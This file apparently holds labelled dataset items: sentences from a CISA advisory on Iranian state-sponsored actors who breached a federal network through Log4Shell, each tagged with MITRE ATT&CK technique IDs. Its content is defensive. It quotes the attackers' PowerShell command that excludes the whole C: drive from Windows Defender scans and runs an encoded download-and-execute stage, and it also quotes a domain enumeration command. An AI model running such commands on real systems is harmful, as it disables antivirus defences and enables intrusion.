{"sentence": "Overview In April 2022, CISA conducted retrospective analysis using EINSTEIN—an FCEB-wide intrusion detection system (IDS) operated and monitored by CISA—and identified suspected APT activity on an FCEB organization’s network.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA observed bi-directional traffic between the network and a known malicious IP address associated with exploitation of the Log4Shell vulnerability (CVE-2021-44228) in VMware Horizon servers.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "In coordination with the FCEB organization, CISA initiated threat hunting incident response activities; however, prior to deploying an incident response team, CISA observed additional suspected APT activity.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Specifically, CISA observed HTTPS activity from IP address to the organization’s VMware server.", "labels": ["T1071.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Based on trusted third-party reporting, is a Lightweight Directory Access Protocol (LDAP) server associated with threat actors exploiting Log4Shell.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Following HTTPS activity, CISA observed a suspected LDAP callback on port 443 to this IP address.", "labels": ["T1071.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA also observed a DNS query for that resolved back to when the victim server was returning this Log4Shell LDAP callback to the actors’ server.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA assessed that this traffic indicated a confirmed compromise based on the successful callback to the indicator and informed the organization of these findings; the organization investigated the activity and found signs of compromise.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "As trusted-third party reporting associated Log4Shell activity from with lateral movement and targeting of DCs, CISA suspected the threat actors had moved laterally and compromised the organization’s DC. From mid-June through mid-July 2022, CISA conducted an onsite incident response engagement and determined that the organization was compromised as early as February 2022, by likely Iranian government-sponsored APT actors who installed XMRig crypto mining software.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The threat actors also moved laterally to the domain controller, compromised credentials, and implanted Ngrok reverse proxies.", "labels": ["T1078", "T1090"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Threat Actor Activity In February 2022, the threat actors exploited Log4Shell [T1190] for initial access [TA0001] to the organization’s unpatched VMware Horizon server.", "labels": ["T1190"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "As part of their initial exploitation, CISA observed a connection to known malicious IP address lasting 17.6 seconds.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors’ exploit payload ran the following PowerShell command [T1059.001] that added an exclusion rule to", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Windows Defender", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1562.001]: powershell try{Add-MpPreference -ExclusionPath 'C:\\'; Write-Host 'added-exclusion'} catch {Write-Host 'adding-exclusion-failed' }; powershell -enc \"$BASE64 encoded payload to download next stage and execute it\" The exclusion rule allowlisted the entire , enabling threat actors to download tools to the without virus scans.", "labels": ["T1027", "T1105", "T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The exploit payload then downloaded from to [T1105].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "When executed, mde.ps1 downloaded from and removed from the disk [T1070.004]. contained XMRig cryptocurrency mining software and associated configuration files.", "labels": ["T1027"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "– XMRig Miner driver – XMRig Miner – XMRig miner configuration – Associated file.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "This file can create a local user account", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1136.001] and tests for internet connectivity by pinging [T1016.001].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The exploit payload created a Scheduled Task", "labels": ["T1053.005"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1053.005] that executed daily as .", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Note:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "By exploiting Log4Shell, the actors gained access to a VMware service account with administrator and system level access.", "labels": ["T1078"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The Scheduled Task was named to masquerade as a legitimate Windows task.", "labels": ["T1053.005"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "See MAR 10387061-1.v1 for additional information, including IOCs, on these four files.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "After obtaining initial access and installing XMRig on the VMWare Horizon server, the actors used RDP [T1021.001] and the built-in Windows user account", "labels": ["T1021.001", "T1078"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1078.001] to move laterally [TA0008] to a VMware VDI-KMS host.", "labels": ["T1078"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Once the threat actor established themselves on the VDI-KMS host, CISA observed the actors download around 30 megabytes of files from server associated with .", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors downloaded the following tools: PsExec – a Microsoft signed tool for system administrators.", "labels": ["T1003.001", "T1105"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mimikatz – a credential theft tool.", "labels": ["T1003.001", "T1090"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Ngrok – a reverse proxy tool for proxying an internal service out onto an Ngrok domain, which the user can then access at a randomly generated subdomain at .", "labels": ["T1090"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA has observed this tool in use by some commercial products for benign purposes; however, this process bypasses typical firewall controls and may be a potentially unwanted application in production environments.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Ngrok is known to be used for malicious purposes.[1] The threat actors then executed Mimikatz on VDI-KMS to harvest credentials and created a rogue domain administrator account", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1136.002].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Using the newly created account, the actors leveraged RDP to propagate to several hosts within the network.", "labels": ["T1021.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Upon logging into each host, the actors manually disabled Windows Defender via the Graphical User Interface (GUI) and implanted Ngrok executables and configuration files.", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The threat actors were able to implant Ngrok on multiple hosts to ensure Ngrok’s persistence should they lose access to a machine during a routine reboot.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors were able to proxy [T1090] RDP sessions, which were only observable on the local network as outgoing HTTPS port 443 connections to and (the prior domain in reverse).", "labels": ["T1021.001", "T1071.001", "T1090"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "It is possible, but was not observed, that the threat actors configured a custom domain, or used other Ngrok tunnel domains, wildcarded here as , , , or .", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Once the threat actors established a deep foothold in the network and moved laterally to the domain controller, they executed the following PowerShell command on the Active Directory to obtain a list of all machines attached to the domain [T1018]: Powershell.exe get-adcomputer -filter * -properties * | select name,operatingsystem,ipv4address &gt; The threat actors also changed the password for the local administrator account", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1098] on several hosts as a backup should the rogue domain administrator account get detected and terminated.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Additionally, the threat actor was observed attempting to dump the Local Security Authority Subsystem Service (LSASS) process [T1003.001] with task manager but this was stopped by additional anti-virus the FCEB organization had installed. MITRE ATT&CK TACTICS AND TECHNIQUES See table 1 for all referenced threat actor tactics and techniques in this advisory, as well as corresponding detection and/or mitigation recommendations.", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "For additional mitigations, see the Mitigations section.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Table 1: Cyber Threat Actors ATT&CK Techniques for Enterprise Initial Access Technique Title ID Use Recommendations Exploit Public-Facing Application T1190 The actors exploited Log4Shell for initial access to the organization’s VMware Horizon server.", "labels": ["T1190"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation/Detection: Use a firewall or web-application firewall and enable logging to prevent and detect potential Log4Shell exploitation attempts [M1050].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Perform regular vulnerability scanning to detect Log4J vulnerabilities and update Log4J software using vendor provided patches", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[M1016],[M1051]. Execution Technique Title ID Use Recommendation Command and Scripting Interpreter: PowerShell T1059.001 The actors ran PowerShell commands that added an exclusion rule to Windows Defender.", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors executed PowerShell on the AD to obtain a list of machines on the domain.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Disable or remove PowerShell for non-administrative users [M1042],[M1026] or enable code-signing to execute only signed scripts [M1045].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Employ anti-malware to automatically detect and quarantine malicious scripts [M1049].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Persistence Technique Title ID Use Recommendations Account Manipulation T1098 The actors changed the password for the local administrator account on several hosts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Use multifactor authentication for user and privileged accounts [M1032]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor events for changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728, and 4670.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for modification of accounts in correlation with other suspicious activity [DS0002].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Create Account: Local Account T1136.001", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors’ malware can create local user accounts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor executed commands and arguments for actions that are associated with local account creation, such as net user /add , useradd, and dscl -create", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0017]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Enable logging for new user creation", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0002]. Create Account:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Domain Account T1136.002", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors used Mimikatz to create a rogue domain administrator account.", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Enable logging for new user creation, especially domain administrator accounts", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0002]. Scheduled Task/Job: Scheduled Task T1053.005", "labels": ["T1053.005"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors’ exploit payload created Scheduled Task RuntimeBrokerService.exe, which executed RuntimeBroker.exe daily as SYSTEM.", "labels": ["T1053.005"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[M1028]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for newly constructed processes and/or command-lines that execute from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows [DS0009] Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for newly constructed scheduled jobs by enabling the Microsoft-Windows-TaskScheduler/Operational setting within the event logging service", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0003]. Valid Accounts: Default Accounts T1078.001", "labels": ["T1078"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors used built-in Windows user account DefaultAccount.", "labels": ["T1078"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Change default usernames and passwords immediately after the installation and before deployment to a production environment [M1027]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Develop rules to monitor logon behavior across default accounts that have been activated or logged into [DS0028]. Defense Evasion Technique Title ID Use Recommendations Impair Defenses: Disable or Modify Tools T1562.001", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors added an exclusion rule to Windows Defender.", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The tool allowlisted the entire c:\\drive, enabling the actors to bypass virus scans for tools they downloaded to the c:\\drive.", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors manually disabled Windows Defender via the GUI.", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[M1018]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0024]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for telemetry that provides context for modification or deletion of information related to security software processes or services such as Windows Defender definition files in Windows and System log files in Linux [DS0013]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor processes for unexpected termination related to security tools/services [DS0009].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Indicator Removal on Host: File Deletion T1070.004", "labels": ["T1027", "T1070.004"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors removed malicious file mde.ps1 from the dis. Detection:", "labels": ["T1027", "T1070.004"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor executed commands and arguments for actions that could be utilized to unlink, rename, or delete files [DS0017]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for unexpected deletion of files from the system [DS0022].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Credential Access Technique Title ID Use Recommendations OS Credential Dumping: LSASS Memory T1003.001", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors were observed trying to dump LSASS process.", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping [M1043] Mitigation: On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing [M1040].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Ensure that local administrator accounts have complex, unique passwords across all systems on the network [M1027]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for unexpected processes interacting with LSASS.exe.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0009]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the LSASS", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0017]. Credentials from Password Stores T1555 The actors used Mimikatz to harvest credentials.", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Organizations may consider weighing the risk of storing credentials in password stores and web browsers.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "If system, software, or web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in improper locations [M1027].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for processes being accessed that may search for common password storage locations to obtain user credentials [DS0009].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor executed commands and arguments that may search for common password storage locations to obtain user credentials [DS0017].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Discovery Technique Title ID Use Recommendations Remote System Discovery T1018", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors executed a PowerShell command on the AD to obtain a list of all machines attached to the domain.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor executed commands and arguments that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement [DS0017]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for newly constructed network connections associated with pings/scans that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement [DS0029].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession [DS0009]. System Network Configuration Discovery: Internet Connection Discovery T1016.001 The actors’ malware tests for internet connectivity by pinging 8.8.8.8. Mitigation: Monitor executed commands, arguments [DS0017] and executed processes (e.g., tracert or ping)", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0009] that may check for internet connectivity on compromised systems.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Lateral Movement Technique Title ID Use Recommendations Remote Services:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Remote Desktop Protocol T1021.001 The actors used RDP to move laterally to multiple hosts on the network.", "labels": ["T1021.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Use MFA for remote logins [M1032].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Disable the RDP service if it is unnecessary [M1042].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Do not leave RDP accessible from the internet.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Enable firewall rules to block RDP traffic between network security zones within a network [M1030].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Consider removing the local Administrators group from the list of groups allowed to log in through RDP", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[M1026].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for user accounts logged into systems associated with RDP (ex: Windows EID 4624 Logon Type 10).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Other factors, such as access patterns (ex: multiple systems over a relatively short period of time) and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP [DS0028]. Command and Control Technique Title ID Use Recommendations Proxy T1090 The actors used Ngrok to proxy RDP connections and to perform command and control.", "labels": ["T1021.001", "T1090"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network allow and block lists", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[M1037]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure)", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0029]. Ingress Tool Transfer T1105", "labels": ["T1105"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors downloaded malware and multiple tools to the network, including PsExec, Mimikatz, and Ngrok.", "labels": ["T1105"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "INCIDENT RESPONSE If suspected initial access or compromise is detected based on IOCs or TTPs in this CSA, CISA encourages organizations to assume lateral movement by threat actors and investigate connected systems and the DC.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA recommends organizations apply the following steps before applying any mitigations, including patching.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
